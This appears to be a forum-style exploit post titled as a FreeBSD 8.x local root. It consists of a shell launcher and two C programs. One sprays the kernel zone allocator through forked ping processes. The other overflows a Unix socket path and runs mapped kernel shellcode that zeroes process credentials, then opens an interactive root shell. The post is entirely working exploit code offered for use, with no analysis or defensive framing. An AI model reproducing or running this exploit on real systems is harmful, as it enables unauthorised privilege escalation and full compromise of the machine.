Unix FreeBSD 8.x locaroot
start.sh;
exploit;
start.sh;
Code:
#!/bin/sh
gcc free.c -o free
gcc newsock.c -o new
./free && ./new
exploit;
Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
int nullfd;
int get_free(void)
{
FILE *pfile = popen("vmstat -z | grep 128:", "r");
if(pfile == NULL)
return -1;
char buffer[256];
int free_item = 0;
fread(buffer, sizeof(buffer), 1, pfile);
sscanf(buffer, "%*s %*u, %*u, %*u, %u, %*u, %*u", &free_item);
pclose(pfile);
return free_item;
}
int alloc_item_per_fork()
{
int fitem, item = get_free();
forker("3");
sleep(1);
fitem = get_free();
//printf("%d %d", item, fitem);
return ((fitem < item) > 0 ? (item - fitem) : 0);
}
int forker(char *time)
{
pid_t pid;
if(!(pid = fork())) {
dup2(nullfd, 1);
dup2(nullfd, 2);
// char *arg[] = { "/bin/sleep", time, NULL };
char *arg[] = { "/sbin/ping", "-c", time, "127.0.0.1", NULL };
execv(*arg, arg);
exit(0);
} else if (pid < 0) {
perror("Fork error");
}
return pid;
}
int main(void)
{
pid_t pid;
int i = 0;
int status, item;
nullfd = open("/dev/null", O_RDWR);
if(nullfd < 0) {
perror("open /dev/null error");
return -2;
}
item = alloc_item_per_fork();
if(!item) {
fprintf(stderr, "Can't get %d\n", item);
return -1;
}
unsigned int free_items = get_free() + (9*item);
printf("Before allocation free items: %d\n", get_free());
free_items = (free_items < 32) ? 32 : free_items;
pid_t *progs = malloc(sizeof(pid_t) * free_items);
for(i = 0; i < free_items - 32; i += item) {
progs[i] = forker("5000");
printf("Current pid [%d] free items: %d\n", progs[i], get_free());
}
printf("After allocation free items: %d\n", get_free());
for(i = free_items - 32; i < free_items; i += item) {
progs[i] = forker("5");
printf("Current pid [%d] free: %d\n", progs[i], get_free());
}
printf("Current free items %d\nSleep 6 seconds ...\n", get_free());
sleep(6);
printf("End = %u\n", get_free());
return 0;
}
newsock.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <signal.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/mman.h>
struct mystruct {
short sun_family;
char sun_path[238];
};
int nullfd;
char shellcode[] =
//"\xcc"
"\x64\xa1\x00\x00\x00\x00"
"\x8b\x40\x04"
"\x8b\x40\x24"
"\x31\xdb"
"\x89\x58\x04"
"\x89\x58\x08"
"\x8b\x81\x00\xf0\xff\xff"
"\x83\xf8\x00"
"\x74\x02"
"\xeb\x06"
"\x8b\x81\x00\x10\x00\x00"
"\x89\x01";
int get_free(void)
{
FILE *pfile = popen("vmstat -z | grep 128:", "r");
if(pfile == NULL)
return -1;
char buffer[256];
int free_item = 0;
fread(buffer, sizeof(buffer), 1, pfile);
sscanf(buffer, "%*s %*u, %*u, %*u, %u, %*u, %*u", &free_item);
pclose(pfile);
return free_item;
}
int forker(char *time)
{
pid_t pid;
nullfd = open("/dev/null", O_RDONLY);
if(nullfd < 0) {
perror("Can't open null");
return -1;
}
if(!(pid = fork())) {
dup2(nullfd, 1);
dup2(nullfd, 2);
char *arg[] = { "/sbin/ping", "-c", time, "127.0.0.1", NULL };
execv(*arg, arg);
exit(0);
} else if (pid < 0) {
perror("Fork error");
}
return pid;
}
int main(void)
{
int sd, cli;
struct mystruct saddr;
sd = socket(PF_UNIX, SOCK_STREAM, 0);
saddr.sun_family = AF_UNIX;
memset(saddr.sun_path, 'A', 237);
saddr.sun_path[237] = 0x0;
void *vptr = mmap((void *)0x414000, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
if(vptr == MAP_FAILED){
perror("mmap for slab failed");
return -1;
}
void *zfree_mmap = mmap((void *)0x10101000, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
if(zfree_mmap == MAP_FAILED) {
perror("mmap for keg failed");
return -1;
}
void *sc_mmap = mmap((void *)0x66666000, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANON | MAP_PRIVATE, -1, 0);
if(sc_mmap == MAP_FAILED) {
perror("mmap for dtors failed");
return -2;
}
memset((void *)0x414000, 0x10, 4096);
memset((void *)0x10101000, 0x45, 4096);
void *ptr = sc_mmap + 0x666;
memcpy(ptr, shellcode, sizeof(shellcode)-1);
ptr += sizeof(shellcode)-1;
memset(ptr, 0x5b, 13);
ptr += 13;
*(unsigned char *)ptr = 0xc3;
*(unsigned long *)(zfree_mmap+0x40) = (unsigned long)0x66666666;
if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr))) {
perror("bind");
return -1;
}
struct mystruct myaddr;
int size = 255;
int l = 0;
while(l < 210) {
getsockname(sd, (struct sockaddr*)&myaddr, &size);
if(!getuid() || !geteuid()) {
fprintf(stderr, "ROOT!!!\n");
close(sd);
unlink(saddr.sun_path);
system("killall ping");
system("sh -i");
return 0;
}
fprintf(stderr, "Try [%d] free items: %d\n", l, get_free());
forker("5000");
l ++;
}
close(sd);
return 0;
}